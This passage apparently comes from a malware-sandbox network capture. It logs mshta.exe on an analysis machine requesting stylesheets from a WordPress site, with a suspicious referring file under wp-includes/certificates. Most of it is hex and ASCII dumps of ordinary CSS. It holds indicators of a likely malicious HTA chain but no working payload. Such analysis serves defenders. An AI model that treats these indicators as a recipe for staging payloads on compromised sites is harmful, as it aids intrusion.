69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 66 6c 69 70 4f 75 74 58 2c 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 66 6c 69 70 4f 75 74 59 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 7d 0d 0a 0d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 20 7b 0d 0a 20 20 20 20 66 72 6f 6d 2c 20 32 30 25 2c 20 35 33 25 2c 20 38 30 25 2c 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 31 35 2c 20 30 2e 36 31 30 2c 20 30 2e 33 35 35 2c 20 31 2e 30 30 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 31 35 2c 20 30 2e 36 31 30 2c 20 30 2e 33 35 35 2c 20 31 2e 30 30 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33
                                                                                      Data Ascii: @charset "UTF-8";/*!Animate.css - http://daneden.me/animateVersion - 3.4.0Licensed under the MIT license - http://opensource.org/licenses/MITCopyright (c) 2015 Daniel Eden*/.animated { -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-fill-mode: both; animation-fill-mode: both;}.animated.infinite { -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite;}.animated.hinge { -webkit-animation-duration: 2s; animation-duration: 2s;}.animated.bounceIn,.animated.bounceOut { -webkit-animation-duration: .75s; animation-duration: .75s;}.animated.flipOutX,.animated.flipOutY { -webkit-animation-duration: .75s; animation-duration: .75s;}@-webkit-keyframes bounce { from, 20%, 53%, 80%, to { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); -webkit-transform: translate3d(0,0,0); transform: translate3
                                                                                      Aug 16, 2022 11:39:35.296462059 CEST1694INData Raw: 64 28 30 2c 30 2c 30 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 34 30 25 2c 20 34 33 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62
                                                                                      Data Ascii: d(0,0,0); } 40%, 43% { -webkit-animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -
                                                                                      Aug 16, 2022 11:39:35.296487093 CEST1696INData Raw: 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 37 35 35 2c 20 30 2e 30 35 30 2c 20 30 2e 38 35 35 2c 20 30 2e 30 36 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 61 6e 69
                                                                                      Data Ascii: -animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -15px, 0); transform: translate3d(0, -15px,
                                                                                      Aug 16, 2022 11:39:35.296513081 CEST1697INData Raw: 6d 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2c 20 31 2c 20 31 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2c 20 31
                                                                                      Data Ascii: m { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 50% { -webkit-transform: scale3d(1.05, 1.05, 1.05); transform: scale3d(1.05, 1.05, 1.05); } to { -webk
                                                                                      Aug 16, 2022 11:39:35.296538115 CEST1698INData Raw: 31 2c 20 31 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 33 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2e 32 35 2c 20 30 2e 37 35 2c 20 31 29 3b 0d 0a 20 20
                                                                                      Data Ascii: 1, 1); } 30% { -webkit-transform: scale3d(1.25, 0.75, 1); transform: scale3d(1.25, 0.75, 1); } 40% { -webkit-transform: scale3d(0.75, 1.25, 1); transform: scale3d(0.75, 1.25, 1);
                                                                                      Aug 16, 2022 11:39:35.296566010 CEST1700INData Raw: 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 31 30 25 2c 20 33 30 25 2c 20 35 30 25 2c 20 37 30 25 2c 20 39 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64
                                                                                      Data Ascii: ); } 10%, 30%, 50%, 70%, 90% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 20%, 40%, 60%, 80% { -webkit-transform: translate3d(10px, 0, 0); tra
                                                                                      Aug 16, 2022 11:39:35.296590090 CEST1701INData Raw: 6d 3a 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 35 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 38 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65
                                                                                      Data Ascii: m: rotate3d(0, 0, 1, 5deg); } 80% { -webkit-transform: rotate3d(0, 0, 1, -5deg); transform: rotate3d(0, 0, 1, -5deg); } to { -webkit-transform: rotate3d(0, 0, 1, 0deg); transform: rot
                                                                                      Aug 16, 2022 11:39:35.296613932 CEST1702INData Raw: 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 2e 39 2c 20 2e 39 2c 20 2e 39 29 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 33 64 65 67 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73
                                                                                      Data Ascii: -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); } 30%, 50%, 70%, 90% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg)
                                                                                      Aug 16, 2022 11:39:35.296641111 CEST1704INData Raw: 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 33 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 36 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65
                                                                                      Data Ascii: otate3d(0, 0, 1, -3deg); } 60% { -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); } 75% { -webkit-transform: transl
                                                                                      Aug 16, 2022 11:39:35.296664953 CEST1705INData Raw: 2c 20 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 31 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65
                                                                                      Data Ascii: , 0) rotate3d(0, 0, 1, -1deg); } to { -webkit-transform: none; transform: none; }}.wobble { -webkit-animation-name: wobble; animation-name: wobble;}@-webkit-keyframes jello { from,
                                                                                      Aug 16, 2022 11:39:35.512396097 CEST1713INData Raw: 20 6a 65 6c 6c 6f 20 7b 0d 0a 20 20 20 20 66 72 6f 6d 2c 20 31 31 2e 31 25 2c 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f
                                                                                      Data Ascii: jello { from, 11.1%, to { -webkit-transform: none; transform: none; } 22.2% { -webkit-transform: skewX(-12.5deg) skewY(-12.5deg); transform: skewX(-12.5deg) skewY(-12.5deg); } 3


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      17192.168.2.349762187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:35.255481958 CEST1691OUTGET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:35.478724957 CEST1707INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:35 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT
                                                                                      ETag: "a50ba8-14fc-5c93d38d8b229"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 5372
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Data Raw: 2f 2a 2a 0a 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 43 53 53 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 73 68 6f 75 6c 64 20 62 65 0a 20 2a 20 69 6e 63 6c 75 64 65 64 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2e 0a 20 2a 2f 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6f 77 6c 2d 73 74 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 7b 0a 20 20 70 61 64 64 69 6e 67 3a 20 32 35 70 78 20 30 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 2e 6f 77 6c 2d 6e 65 78 74 2c 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 2e 6f 77 6c 2d 70 72 65 76 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 31 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 5b 63 6c 61 73 73 2a 3d 6f 77 6c 2d 5d 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 65 78 74 20 69 6d 67 2c 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 70 72 65 76 20 69 6d 67 20 7b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 77 70 2d 6c 6f 67 6f 2d 62 6f 72 64 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 7b 0a 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 32 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 2e 6c 6f 67 6f 2d 63 6f 6d 70 61 6e 79 2d 6e 61 6d 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 69 6e 69 74 69 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f
                                                                                      Data Ascii: /** * All of the CSS for your public-facing functionality should be * included in this file. */.lgx-logo-slider-wp .owl-stage { display: flex; align-items: center;}.lgx-logo-slider-wp .lgx-logo-wrapper { padding: 25px 0;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav { text-align: center;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-next,.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-prev { margin: 1px;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav [class*=owl-] { background: transparent;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-next img,.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-prev img { width: 30px;}.lgx-logo-slider-wp .wp-logo-border .lgx-logo-item { border-style: solid; border-width: 2px;}.lgx-logo-slider-wp .lgx-logo-item { cursor: pointer; text-align: center;}.lgx-logo-slider-wp .lgx-logo-item .logo-company-name { display: block; text-transform: initial; margin: 0; padding: 10px;}.lgx-logo
                                                                                      Aug 16, 2022 11:39:35.478765011 CEST1708INData Raw: 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 2e 6c 6f 67 6f 2d 63 6f 6d 70 61 6e 79 2d 6e 61 6d 65 3a 68 6f 76 65 72 20 7b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 37 35 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d
                                                                                      Data Ascii: -slider-wp .lgx-logo-item .logo-company-name:hover { opacity: 0.75;}.lgx-logo-slider-wp .nav-position-v-mid { position: relative;}.lgx-logo-slider-wp .nav-position-v-mid .owl-next,.lgx-logo-slider-wp .nav-position-v-mid .owl-prev {
                                                                                      Aug 16, 2022 11:39:35.478790045 CEST1710INData Raw: 6f 75 74 20 30 73 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 61 6c 6c 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 20 30 73 3b 0a 20 20 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 61 6c 6c 20 30 2e 32 73 20 65 61 73 65 2d
                                                                                      Data Ascii: out 0s; -ms-transition: all 0.2s ease-in-out 0s; -o-transition: all 0.2s ease-in-out 0s; transition: all 0.2s ease-in-out 0s;}.lgx-logo-slider-wp .hover-default .lgx-logo-item .lgx-logo-img { -moz-opacity: 1; -khtml-opacity: 1; -
                                                                                      Aug 16, 2022 11:39:35.478813887 CEST1711INData Raw: 20 31 3b 0a 20 20 2d 6d 73 2d 66 69 6c 74 65 72 3a 20 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 41 6c 70 68 61 28 6f 70 61 63 69 74 79 3d 31 30 30 29 3b 0a 20 20 66 69 6c 74 65 72 3a 20
                                                                                      Data Ascii: 1; -ms-filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100); filter: alpha(opacity=100); filter: url("data:image/svg+xml;utf8,<svg xmlns=\'http://www.w3.org/2000/svg\'><filter id=\'grayscale\'><feColorMatrix type=\'matrix\' valu
                                                                                      Aug 16, 2022 11:39:35.478833914 CEST1711INData Raw: 61 6c 65 28 31 29 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 68 6f 76 65 72 2d 68 62 6c 75 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 3a 68 6f 76 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 6d 67 20 7b 0a 20 20
                                                                                      Data Ascii: ale(1);}.lgx-logo-slider-wp .hover-hblur .lgx-logo-item:hover .lgx-logo-img { -webkit-filter: blur(2px); -moz-filter: blur(2px); -o-filter: blur(2px); -ms-filter: blur(2px); filter: blur(2px);}/*# sourceMappingURL=logo-slider-wp-


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      18192.168.2.349763187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:35.701512098 CEST1740OUTGET /wp-content/themes/theme51253/main-style.css HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:35.916346073 CEST1785INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:34:20 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a53765-1130b-5cd2be5c3c8aa"
                                                                                      Last-Modified: Thu, 30 Sep 2021 00:55:05 GMT
                                                                                      Content-Length: 70411
                                                                                      Content-Type: text/css
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 15075236 22076990
                                                                                      Age: 315
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 2e 2e 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 73 74 79 6c 65 2e 63 73 73 22 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 31 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 33 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 34 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 37 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 39 30 30 29 3b 0a 2e 77 72 61 70 20 7b 20 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 20 7d 0a 68 31 2c 20 68 32 2c 20 68 33 2c 20 68 34 2c 20 68 35 2c 20 68 36 20 7b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 20 7d 0a 68 32 20 7b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 31 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 3b 0a 7d 0a 68 32 20 73 74 72 6f 6e 67 20 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 68 33 20 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 61 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 7d 0a 61 3a 68 6f 76 65 72 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 20 7d 0a 2e 68 65 61 64 65 72 20 7b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0a 09 74 6f 70 3a 30 3b 0a 09 70 61 64 64 69 6e 67 3a 32 33 70 78 20 30 20 32 30 70 78 3b 0a 09 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 2e 68 65 61 64 65 72 20 7b 0a 09 09 77 69 64 74 68 3a 61 75 74 6f 3b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 0a 09 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 7d 0a 7d 0a 2e 68 65 61 64 65 72 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 27 27 3b 0a 09 70 6f 73 69 74 69 6f 6e
                                                                                      Data Ascii: @import url("../CherryFramework/style.css");@import url(//fonts.googleapis.com/css?family=Lato:100);@import url(//fonts.googleapis.com/css?family=Lato:300);@import url(//fonts.googleapis.com/css?family=Lato:400);@import url(//fonts.googleapis.com/css?family=Lato:700);@import url(//fonts.googleapis.com/css?family=Lato:900);.wrap { overflow:hidden; }h1, h2, h3, h4, h5, h6 { margin-top:0; }h2 {font-weight:100 !important;text-shadow:0 0 0 rgba(0,0,0,0);}h2 strong { font-weight:900 !important; }h3 { font-weight:900 !important; }a {-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}a:hover { text-decoration:none; }.header {width:100%;position:absolute;top:0;padding:23px 0 20px;border:none;background:#fff;}@media (max-width: 767px) {.header {width:auto;padding-left:20px;padding-right:20px;position:relative !important;}}.header:after {content:'';position
                                                                                      Aug 16, 2022 11:39:35.916368008 CEST1787INData Raw: 3a 61 62 73 6f 6c 75 74 65 3b 0a 09 62 6f 74 74 6f 6d 3a 2d 31 33 70 78 3b 0a 09 6c 65 66 74 3a 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 68 65 69 67 68 74 3a 31 33 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72
                                                                                      Data Ascii: :absolute;bottom:-13px;left:0;width:100%;height:13px;background-repeat:repeat-x;background-image:url(images/header-bottom.png);}@media (max-width: 767px) {.header.isStuck { top:0 !important; }}.header.isStuck .logo a img {w
                                                                                      Aug 16, 2022 11:39:35.916387081 CEST1788INData Raw: 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 6e 61 76 2e 6e 61 76 5f 5f 70 72 69 6d 61 72 79 20 2e 73 66 2d 6d 65 6e 75 20 3e 6c 69 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e
                                                                                      Data Ascii: l 0.5s ease;}.header nav.nav__primary .sf-menu >li {background:none;position:relative;float:left;display:inline-block;margin-right:30px;}.header nav.nav__primary .sf-menu >li >a {text-transform:uppercase;font-weight:700;bor
                                                                                      Aug 16, 2022 11:39:35.916407108 CEST1789INData Raw: 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 31 62 65 65 38 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 6e 61 76 2e 6e 61 76 5f 5f 70 72 69 6d 61 72 79 20 2e 73 66 2d 6d 65 6e 75 20 3e 6c 69 20 2e 73 75 62 2d 6d 65 6e 75 20
                                                                                      Data Ascii: olor:#fff;background:#21bee8;}.header nav.nav__primary .sf-menu >li .sub-menu li.menu-item-has-children > a:before {width:8px;height:40px;position:absolute;top:0;right:-8px;display:block;background:url("images/extra1.png") ce
